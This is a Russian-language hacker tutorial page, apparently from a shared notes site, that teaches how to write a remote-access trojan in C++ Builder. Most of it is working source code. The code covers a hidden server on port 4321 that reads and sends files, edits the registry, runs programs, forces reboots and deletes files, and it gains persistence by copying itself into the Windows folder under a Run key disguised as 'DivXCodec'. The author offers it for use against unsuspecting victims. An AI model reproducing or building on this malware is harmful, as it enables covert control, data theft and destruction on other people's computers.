MyTetra Share
Делитесь знаниями!
Пишем своего троянчика!
Время создания: 23.07.2017 16:51
Раздел: Комп - Virus
Запись: Bunny-Hop/mytetrabase/master/base/1500789079v2jrgmen54/text.html на raw.githubusercontent.com

Сегодня мы будем учиться писать троянчик. Небольшой, но СВОЙ! Почему? Конечно-конечно, троянов в сети навалом, но рано или поздно они =вдруг= начинают определяться антивирусами, приходиться ждать апдейта етц... Ожидание - самый скучный повод. Не знаю как вы, но я ждать не люблю, да и использовать чужие трояны это совсем не по-}{аЦкERR'ски. Короче, пишем свой троян и точка.    После точки, как учили в школе, пишем с большой буквы... Так вот, о чем я? Писать я буду, как обычно, на своем любимом Builder C++. Если у вас руки растут не оттуда, откуда у меня ноги, то без проблем все переделаете под Дельфи, если припрет конечно...    Естественно, наш троян будет состоять из 2х частей =) Серверной (отправляемой как подарок ламерюге) и клиентской (оставим себе на память). Надо сказать, что я давно не юзал никакие трояны, так что не знаю что там сейчас они умеют делать, может уже и коврик под мышкой научились двигать или корпус компа открывать. Мы же пишем "троянчик", поэтому делать он будет только следующее:  1) читать, удалять, запускать файлы на удаленном компьютере  2) работать с реестром на удаленном компьютере  3) ну и традиционный набор разных бесполезных функций, типа открытие CD-ROM'a, смена клавишей мышки etc.    Перекурили и поехали!  Использовать будем стандартные компоненты TClientSocket и TServerSocket.    Начнем с клиента. Набрасываем простенький интерфейс и приступаем к реализации. Управлять удаленным компьютером будем с помощью специальных команд. Для примера пускай структура их будет такая:  Nпараметры. N - цифра. Каждому действию присвоен свой код. Т.е. например 1 - перезагрузка, 2 - чтение файла и т.д. Главное чтоб было однозначное соответствие между тем что хотим сделать (команда передаваемая клиентом) и тем что выполняет программа (обработка команды на сервере). С этим разобрались. Теперь параметры. Бывает мало передать только номер команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо (хотя можно и здесь передать параметры в функцию перезагрузки), но как например реализовать удаление файла не передавая параметра? Мы передаем команду на удаление файла, но какого?! Для этого будем использовать параметры. В качестве параметра в данном случае будет передаваться имя файла. Бывает, что мало передать один параметр. Например надо прочитать n-строчек из file.txt. Здесь необходимо передать 2 параметра. В нашем примере параметры отделяются друг от друга комбинацией "\r\n" - перевод каретки. Объясняется данная структура тем, что в сервере мы сначала помещаем полученную команду в TStringList и потом можем спокойно обращаться к любой строчке этого TStringList'а через свойство Strings, где i-номер строчки, а соответственно и номер параметра. В общем, это вещи достаточно очевидные. 
 
Вот так, вроде бы только начав писать клиентскую часть мы ее уже почти и закончили! Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket: 
 

C++


void __fastcall TForm1::TrojControllerRead(TObject *Sender,
      TCustomWinSocket *Socket
)
{
Memo2->Lines->Add
(Socket->ReceiveText());
}
 

Вот и все. Клиент законен! Переходим к серверу...    Сервер будет чуть пообъемнее. Вначале определимся с задачами:  1) получение команд  2) их обработка и выполнение соответствующих действий  3) отсылка ответа клиенту (должны же мы знать что происходит на сервере)  Реализуем...    Во-первых, никакого визуального оформления естественно не будет =) Поэтому на форму поместим только 1 компонент: TServerSocket. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector'е. Но раз уж сделали, так сделали =)   

C++


void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 
4321;
ServSckt->Active = 
true;
}
 

Итак, указали порт, активизировали сокет. Теперь обрабатываем событие ClientRead, т.е. получение данных сокетом. Комментирую на примере:   

C++


void __fastcall TForm1::ServScktClientRead(TObject *Sender,
      TCustomWinSocket *Socket
)
{
RecCommand
(Socket->ReceiveText())// пишем для наглядности функцию обработки поступившей
                                  
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;  
// создаем объект наших утилит 
Utilz.
Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                
// находится на форме, а TTrojanUtilites не имеет никакого отношения
                
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.
Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
cn = StrToInt
(temp);       // преобразуем в число
received.
Delete(1,1);      // удаляем код команды - остаются одни параметры
switch (cn) {         // в соответсвии с полученой командой 
                                
// запускаем соотвествующую утилиту 
case 1 : Utilz.RestartMachine()break;  // перезагрузка
case 2 : Utilz.WriteRegistry(received)break;  // запись в реестр
case 3 : Utilz.ReadRegistry(received)break;   // чтение реестра
case 4 : Utilz.SendFile(received)break;       // чтение файла
case 5 : Utilz.DeleteFile(received)break;     // удаление файла 
case 6 : Utilz.ExecuteFile(received)break;    // запуск файла 
case 7 : Utilz.OpenCloseCDbreak;            // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse()break;            // прячем курсор мыши 
case 9 : Utilz.SwapMouseButtons()break;       // переключаем кнопки мыши 
default:
SendMsgToClient
("Неправильная команда!") ; // получена недопустимая команда
                                           
// информируем клиента об этом
}
}
 

Теперь немного подробнее. Мы пишем специальный класс TTrojanUtilites, в котором реализуем все необходимые функции. В RecognizeCommand (String Directive) мы только отделяем команду от параметров и запускаем необходимые методы TTrojanUtilites, передавая по необходимости в них параметры.    Реализация TTrojanUtilites есть то, чем мы сейчас займемся. Класс оформим в отдельном модуле, не забудьте подключить его.    Поехали... Во-первых, подключаем #include <MMSystem.hpp> - необходимо для реализации работы с CD-ROM'ом. Далее пишем все необходимые методы.    Краткие комментарии на примере:   

C++


void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms  GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.
dwCallback = 0;
OpenParm.
lpstrDeviceType = "CDAudio";
mciSendCommand
(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.
wDeviceID;
if (!CDROMOPEN)
{
        mciSendCommand
(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
        CDROMOPEN = 
true// открыть
}
else
{
        mciSendCommand
(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
        CDROMOPEN = 
false// закрыть
}
mciSendCommand
(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections
[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}
 

Перезагрузка: 

C++


void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
        Sock->Socket->Connections
[0]->SendText("Перезагрузка успешно выполнена.");
} 
 

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_...ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:    mov dx,0cf9h mov al,2  out dx,al mov al,6 out dx,al    Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_...ENDSESSION я не знаю. Если вы знаете - напишите пару строк, не в падлу =)   

C++

void TTrojanUtilites::SendFile(String F)
{
TStringList* TTSL=
new (TStringList);
TStringList* TTSL2=
new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
        Sock->Socket->Connections
[0]->SendText("Файл не существует.");
        
return;
}
TTSL2->LoadFromFile
(TTSL->Strings[0]);  // загружаем файл в TStringList
n = TTSL2->Count;                     
// получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1]))     // если надо прочитать не весь файл
        n = StrToInt
(TTSL->Strings[1])// считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i])// передаем строки клиенту
}
 

Вроде тут и объяснять нечего.   

C++


void TTrojanUtilites::ReadRegistry(ShortString k)
{
TRegistry* reg=
new TRegistry;
String res, ts;
TStringList* TTSL=
new TStringList;
HKEY k1;
// параметры передаются в следующем порядке: 
////  0 - root key   
////  1 - key name
////  2 - value name
////  3 - value
////  4 - type of value
TTSL->Text = k;
ts = TTSL->Strings
[0];  // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT")   k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER")   k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE")  k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS")          k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey
(TTSL->Strings[1]true)// открываем раздел
ts = TTSL->Strings
[3]// читаем значение параметра опредеоенного типа
if (ts == "Bool")   // двоичный  (REG_BINARY)
        
if (reg->ReadBool(TTSL->Strings[2]))
                res = 
"true";
        
else res = "false";
if (ts == "Integer")  //  числовой   (REG_DWORD)
        res = IntToStr
(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String")  // строковый (REG_SZ)
        res = reg->ReadString
(TTSL->Strings[2]);
Sock->Socket->Connections
[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}
 

Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); - для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для строкового.    Для запуска файлов на удаленном компьютере используем следующую функцию:

C++


void TTrojanUtilites::ExecuteFile(String f)
{
ShellExecute
(GetDesktopWindow, "open", f.c_str()"""", SW_SHOWNORMAL);
Sock->Socket->Connections
[0]->SendText("Запущен файл "+f);
}
 

Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer'e, Opere, Netscape или еще в чем-то... Хрен знает чем там ламерюга пользуется... Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)    Идем дальше. Парочка бесполезных функций:   

C++


void TTrojanUtilites::HideMouse()
{
ShowCursor
(false);
Sock->Socket->Connections
[0]->SendText("Курсор мыши скрыт");
}
 

No commentz...   

C++


void TTrojanUtilites::SwapMouseButtons()
{
SwapMouseButton
(true);
Sock->Socket->Connections
[0]->SendText("Кнопки мыши переключены");
 

Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)    Теперь довольно важная функция:   

C++


void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
        Sock->Socket->Connections
[0]->SendText("Файл не существует.");
        
return;
}
TRegistry* Reg=
new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey
("\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"true);
Reg->WriteString
("Filez for delete","command.com /c del "+f);
Reg->CloseKey
();
Sock->Socket->Connections
[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
}
 

Данная функция НЕ удаляет файл сразу!!! Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению - то будет удален только он. А первый останется нетронутым... Немного измените функцию - и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:   

C++


int res;
SHFILEOPSTRUCT fo;
ZeroMemory
(&fo, sizeof(fo));
fo.
hwnd   = hwndOwner;  // хэндл окна-владельца прогресс-диалога
fo.
pFrom  = pszFullPath; //путь
fo.
wFunc  = FO_DELETE;
fo.
fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation
(&fo);
 

Только внимательно все проверьте! Будет обломно если ламерюга "вдруг" увидит надпись "Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!". А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет - допишет все необходимое сам, если что - я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема - просто передавайте файлы фрагментами.    Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее: 1) при запуске файл переписывается в папку, в которой установлены винды. 2) прописываем запуск нашего файла в реестре.    Реализуем =)   

C++


void __fastcall TForm1::FormCreate(TObject *Sender)
{
ServSckt->Port = 
4321;
ServSckt->Active = 
true;
Utilz.
Sock=ServSckt;
Utilz.
CDROMOPEN=false
 
String WinDir;
char WinDir1[144];
GetWindowsDirectory
(WinDir1,144);
WinDir=WinDir1; 
// папка с установленными виндами 
 
String data;
TRegistry *pReg = 
new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey
("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"true);
data=pReg->ReadString
("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
     pReg->WriteString
("DivXCodec",WinDir+"\\task16man.exe")//добавляем ее по новой 
 
if (Application->ExeName!=WinDir+"\\task16man.exe") //если файл запустили 1ый раз
{
        
if (!FileExists(WinDir+"\\task16man.exe"))
        
{
        String dest=WinDir+
"\\task16man.exe";
        
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
        
// переписываем файл к виндам
        ServSckt->Active = 
false
        ShellExecute
(NULL,NULL,dest.c_str(),NULL,NULL,NULL)//запускаем его
        Application->Terminate
()// это приложение закрываем
        
}
        
else
        Application->Terminate
();
        
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз 
        
// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 
4321;
ServSckt->Active = 
true
 
String data;
TRegistry *pReg = 
new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey
("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"true);
data=pReg->ReadString
("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
    pReg->WriteString
("DivXCodec",Application->ExeName)// пишем назад
}
}
 

В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =). Удачи! 

Так же в этом разделе:
 
MyTetra Share v.0.59
Яндекс индекс цитирования